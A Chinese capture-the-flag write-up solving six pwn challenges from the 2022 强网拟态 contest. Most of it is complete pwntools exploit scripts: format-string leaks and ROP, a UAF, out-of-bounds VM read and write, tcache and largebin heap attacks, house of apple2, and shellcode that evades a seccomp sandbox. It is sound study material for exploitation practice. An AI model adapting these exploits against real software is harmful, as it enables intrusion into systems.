2022强网拟态pwn wp
这次比赛本人并没有参加,然后听说这次比赛比较简单,所以最近抽时间复现一波。由于本人web不太好,也并未涉及过webpwn,遂只复现mimic以及vm和两道堆题。
附件下载链接:https://pan.baidu.com/s/1y0DgYT2BexG0JP4SxTTCXQ
提取码:game
mimic
pwn1
利用格式化字符串泄漏canary,然后覆盖返回地址即可。
#!/usr/bin/python
#encoding:utf-8
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './pwn1'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
p = remote('node4.buuoj.cn', 28641)
else:
p = process(fn)
p.sendlineafter(b"try something", '1')
p.recvuntil(b"some tricks\n")
codebase = int(p.recv(14), 16) - 0xa94
log.success("codebase: " + hex(codebase))
pop_rdi_ret = codebase + 0xc73
binsh = codebase + 0x202068
system_plt = codebase + 0xa2c
p.sendline('2')
# gdb.attach(p)
# pause()
p.recvuntil(b"hello")
p.send("%33$p")
p.recvuntil('0x')
canary = int(p.recv(16), 16)
log.success("canary: " + hex(canary))
payload = b'\x00' * 0xc8 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(binsh) + p64(system_plt)
p.sendline(payload)
p.interactive()
pwn1-1
这个题算是上题的升级版,拖入IDA,看着挺恶心人的。直接运行一下,发现与上题类似。然后直接使用上题的exp试试,进行调试,发现大差不差,也是格式化字符串漏洞与栈溢出漏洞,却没有canary,但要求rbp附近地址必须合法。所以,利用格式化字符串泄漏rbp,然后覆盖返回地址。
#! /usr/bin/ python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './pwn1-1'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
p = remote('node4.buuoj.cn', 28641)
else:
p = process(fn)
p.sendlineafter(b"try something", '1')
p.recvuntil(b"some tricks\n")
codebase = int(p.recv(14), 16) - 0x12a0
log.success("codebase: " + hex(codebase))
pop_rdi_ret = codebase + 0x1943
binsh = codebase + 0x4050
system_plt = codebase + 0x11a2
p.sendline('2')
# gdb.attach(p)
# pause()
p.recvuntil(b"hello")
payload = b'%38$p'
p.sendline(payload)
p.recvuntil('0x')
rbp = int(p.recv(12), 16)
log.success("rbp: " + hex(rbp))
payload = b'b' * 0x10 + b'a' * 0x90 + p64(rbp) * 11 + p64(pop_rdi_ret) + p64(binsh) + p64(system_plt)
p.send(payload)
p.interactive()
pwn1-2
uaf漏洞。tips可以泄漏codebase,然后利用uaf漏洞,控制堆块控制块,覆盖chunk1打印函数为backdoor,最后show(1)即可。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './pwn2-1'
elf = ELF(fn)
# libc = ELF('./libc.so.6')
codebase = 0
debug = 0
if debug:
p = remote()
else:
p = process(fn)
def menu(index):
p.sendlineafter('Your choice :', str(index))
def add(size, content):
menu(1)
p.sendlineafter('Note size :', str(size))
p.sendafter('Content :', content)
def show(index):
menu(3)
p.sendlineafter('Index :', str(index))
def delete(index):
menu(2)
p.sendlineafter('Index :', str(index))
def tips():
global codebase
menu('5')
p.recvuntil('0x')
codebase = int(p.recv(12), 16) - 0x11f0
log.success('codebase: ' + hex(codebase))
tips()
magic = codebase + 0x1b70
add(0x40, 'l1s00t')
add(0x40, 'l1s00t')
add(0x40, 'l1s00t')
delete(1)
delete(0)
add(0x10, p64(magic))
show(1)
p.interactive()
PWN
bfbf
这是一道vmpwn,不过比一般的vm好逆多了。。开了沙盒。使用seccomp-tools查看保护。
值得一提的是,这里对read的第一个参数做出了限制,可以先close(0),然后再打开flag。
这里面并没有对i做出限制,存在数组越界,可以任意地址读,任意地址写。
很容易想到,泄漏栈上libc地址,然后覆盖返回地址为rop链。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
p = remote()
else:
p = process(fn)
payload = b'>' * 0x228
payload += b'.>' * 8
payload += b'>' * 8
payload += b'.>' * 8
payload += b'<' * 0x28
payload += b',>' * 0xf0
payload += b'flag\x00\x00\x00\x00'
p.recvuntil('BF_PARSER>>\n')
# gdb.attach(p, 'b *$rebase(0x18cc)')
# pause()
p.send(payload)
heapbase = u64(p.recv(8))
log.success('heapbase: ' + hex(heapbase))
leak = u64(p.recv(8))
log.success('leak: ' + hex(leak))
libc_base = leak - 243 - libc.sym['__libc_start_main']
log.success('libc_base: ' + hex(libc_base))
pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
syscall_ret = libc_base + 0x00000000000630a9
free_hook = libc_base + libc.sym['__free_hook']
data = free_hook - 0x8
flag_addr = heapbase + 0x458
rop_data = [
pop_rax_ret, # close(0)
3,
pop_rdi_ret,
0,
syscall_ret,
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
flag_addr,
pop_rsi_ret,
0,
syscall_ret,
pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
0,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret,
pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret
]
payload = flat(rop_data)
p.send(payload)
p.interactive()
附上打通截图。
only
典型的菜单堆题,开了沙盒。
这里需要注意的是,本题的沙盒是使用seccomp函数实现的,所以会遗留大量的bins。
分析题目可知,只有一个chunk,没有show,且只能delete4次。从申请堆块大小,以及删除次数这里很容易想到劫持tcache结构体实现任意分配。从没有show功能这里可以想到劫持_IO_2_1_stdout_,泄漏libc地址。这里主要的难点是只有一个chunk,需要悉心布置好堆风水。
利用手法:
- 通过add先申请一个chunk,再delete,然后调用init函数,清空tcache key,构造double free。
- 覆盖next指针为tcache struct,这里需要爆破1位,有1/16概率。
- 控制0x290大小的tcache count为7,然后delete,从而将tcache struct放入unsorted bin。
- 切割unsorted bin,并控制好tchche中保存count的字节,使unsorted bin的fd放入到存放tcache链的地址,然后再次切割,修改该fd为IO_2_1_stdout,这里也需要爆破一位,有1/16的概率。
- 覆盖free_hook为setcontext + 61,从而执行orw。
这里需要注意的是,由于本题无法泄漏堆地址,所以本人这里在libc上写orw,这里是在free_hook - 8的上布置。
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
fn = './only'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
p = remote()
else:
p = process(fn)
malloc_hook = 0
free_hook = 0
binsh = 0
system = 0
execve = 0
setcontext = 0
_open = 0
read = 0
write = 0
_IO_helper_jumps = 0
_IO_file_jumps = 0
_IO_wfile_jumps = 0
def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, _IO_helper_jumps, _IO_file_jumps, _IO_wfile_jumps
binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']
setcontext = libc_base + libc.sym['setcontext']
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_file_jumps = libc_base
_IO_wfile_jumps = libc_base
_IO_helper_jumps = libc_base
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('binsh: ' + hex(binsh))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
def menu(index):
p.sendlineafter('Choice >> ', str(index))
def init():
menu(0)
def add(size, content):
menu(1)
p.sendlineafter('Size:', str(size))
p.sendlineafter('Content:', content)
def delete():
menu(2)
def attack():
add(0xe0, 'l1s00t') # 0
delete()
init()
delete()
add(0xe0, p16(0x9010)) # 1
add(0xe0, 'l1s00t') # 2
payload = p64(0) * 3 + p16(0x1) * 2 + p16(0) * 2 + p64(0) * 5 + p16(0x7) * 4
add(0xe0, payload) # 3
delete()
# 切割 unsortedbin
add(0x90, p16(0x7) + p16(0) * 3) # 4
add(0x30, p16(0xb6a0)) # 5
payload = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
add(0x50, payload) # 6
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('leak: ' + hex(leak))
libc_base = leak - 0x1ec980
log.success('libc_base: ' + hex(libc_base))
get_gadgets(libc_base)
pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
syscall_ret = libc_base + 0x00000000000630a9
# mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
magic = libc_base + 0x0000000000151990
add(0x80, p64(free_hook)) # 7
flag_addr = free_hook + 0x10
data = free_hook - 0x8 - 0x100
payload = flat({
0: magic,
0x10: b'flag\x00\x00\x00\x00',
0x20: setcontext + 61,
0x28:{
0:[
pop_rdi_ret,
flag_addr,
pop_rsi_ret,
0,
_open,
pop_rdi_ret,
3,
pop_rsi_ret,
data + 0x100,
pop_rdx_ret,
0x40,
read,
pop_rdi_ret,
1,
write,
],
},
0xa0: free_hook + 0x28,
0xa8: pop_rdi_ret + 1,
})
add(0xd0, payload) # 8
add(0xd0, 'l1s00t') # clean unsortedbin 9
payload = p64(0) + p64(free_hook)
add(0xd0, payload) # 10
delete()
p.interactive()
if __name__ == '__main__':
n = 0
while True:
try:
p = process(fn)
# p = remote('node4.buuoj.cn', 25315)
attack()
break
except:
p.close()
continue
附上打通截图。
store
依然是典型的堆菜单题,开了沙盒。
该沙盒对32位与64位均作出了检测。64位下没有open函数,但是fstat的系统调用号是5,而32位下open系统调用号也是5,从而我们可以再32位下调用open函数。
分析题目可知,堆块大小0x1000以内,只能对申请的前两个堆块进行show与delete,存在uaf漏洞。本来是考虑使用tcache进行任意地址申请,但是苦于没办法泄漏地址。所以最终使用largebin attack,但是仅能利用一次。由只有一次的largebin attack可以联想到house of apple2。由此,利用手法逐渐明朗化。
利用手法:
- 申请两个large bin范围的chunk,泄漏heapbase与libcbase
- 构造largebin attack覆盖_IO_list_all为chunk
- 伪造_IO_FILE,通过exit执行house of apple2的调用链
- 调用mprotect并执行shellcode获取flag
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './store'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
p = remote()
else:
p = process(fn)
malloc_hook = 0
free_hook = 0
binsh = 0
system = 0
execve = 0
setcontext = 0
mprotect = 0
_open = 0
read = 0
write = 0
_IO_list_all = 0
_IO_stdfile_2_lock = 0
_IO_file_jumps = 0
_IO_wfile_jumps = 0
def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect, _IO_list_all
global _IO_stdfile_2_lock, _IO_file_jumps, _IO_wfile_jumps
binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']
setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_stdfile_2_lock = libc_base + 0x1ee7d0
_IO_file_jumps = libc_base + 0x1e94a0
_IO_wfile_jumps = libc_base + 0x1e8f60
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('binsh: ' + hex(binsh))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
def menu(index):
p.sendlineafter('choice: ', str(index))
def init():
menu(0)
def add2(size):
menu(1)
p.sendlineafter('Size: ', str(size))
def add(size, content, remark):
menu(1)
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Content: ', content)
p.sendlineafter('Remark: ', remark)
def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))
def edit(size, content, remark):
menu(3)
p.sendlineafter('Index: ', str(size))
p.sendafter('Content: ', content)
p.sendafter('Remark: ', remark)
def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))
def _exit():
menu(5)
add(0x420, 'l1s00t', 'l1s00t') # 0
add(0x410, 'l1s00t', 'l1s00t') # 1
delete(0)
add2(0x440)
show(0)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('leak: ' + hex(leak))
libc_base = leak - 0x1ecfd0
log.success('libc_base: ' + hex(libc_base))
get_gadgets(libc_base)
pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
syscall_ret = 0x00000000000630a9 + libc_base
edit(0, 'a' * 16, 'l1s00t')
show(0)
p.recvuntil('a' * 16)
heapbase = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290
log.success('heapbase: ' + hex(heapbase))
edit(0, p64(leak) * 2, 'l1s00t')
delete(1)
edit(0, p64(leak) * 2 + p64(heapbase + 0x290) + p64(_IO_list_all - 0x20), 'l1s00t')
add2(0x440)
payload = b''
fake_IO_file_addr = heapbase + 0xaf0
fake_IO_file = p64(0) * 3 + p64(1) # _IO_write_ptr = 1 > _IO_write_end = 0
fake_IO_file = fake_IO_file.ljust(0x78, b'\x00')
fake_IO_file += p64(_IO_stdfile_2_lock)
fake_IO_file = fake_IO_file.ljust(0x90, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x110) # _IO_wide_data
fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps) # vtable
fake_IO_file = fake_IO_file.ljust(0x100, b'\x00')
fake_IO_file += p64(0) + p64(1) + p64(0)
fake_IO_file += p64(0) + p64(1)
fake_IO_file = fake_IO_file.ljust(0x168, b'\x00') # _IO_write_base = _IO_buf_base = 0
fake_IO_file += p64(setcontext + 61)
fake_IO_file = fake_IO_file.ljust(0x1a0, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x210) # rsp
fake_IO_file += p64(pop_rdi_ret + 1) # rcx
fake_IO_file = fake_IO_file.ljust(0x1e0, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x110) # wide_vtable
payload += fake_IO_file
payload += b'flag'.ljust(8, b'\x00')
payload = payload.ljust(0x200, b'\x00')
flag_addr = fake_IO_file_addr + 0x1f8
data = heapbase + 0xf10
shellcode_addr = fake_IO_file_addr + 0x300
mprotect = [
pop_rax_ret,
10,
pop_rdi_ret,
heapbase,
pop_rsi_ret,
0x1000,
pop_rdx_ret,
7,
syscall_ret,
]
payload += flat(mprotect) + p64(shellcode_addr)
payload = payload.ljust(0x2f0, b'\x00')
shellcode = '''
mov rax, 192
mov rbx, 0x40404000
mov rcx, 0x1000
mov rdx, 7
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80
xor rax, rax
mov rdi, 0
mov rsi, 0x40404200
mov rdx, 0x20
syscall
mov rax, 5
mov rbx, 0x40404200
xor rcx, rcx
int 0x80
mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
'''
payload += asm(shellcode, arch='amd64')
edit(1, payload, 'l1s00t')
# gdb.attach(p)
# pause()
_exit()
p.send('flag\x00\x00\x00\x00')
p.interactive()
附上打通截图。
注意:所用libc版本均为libc2.31-9.9。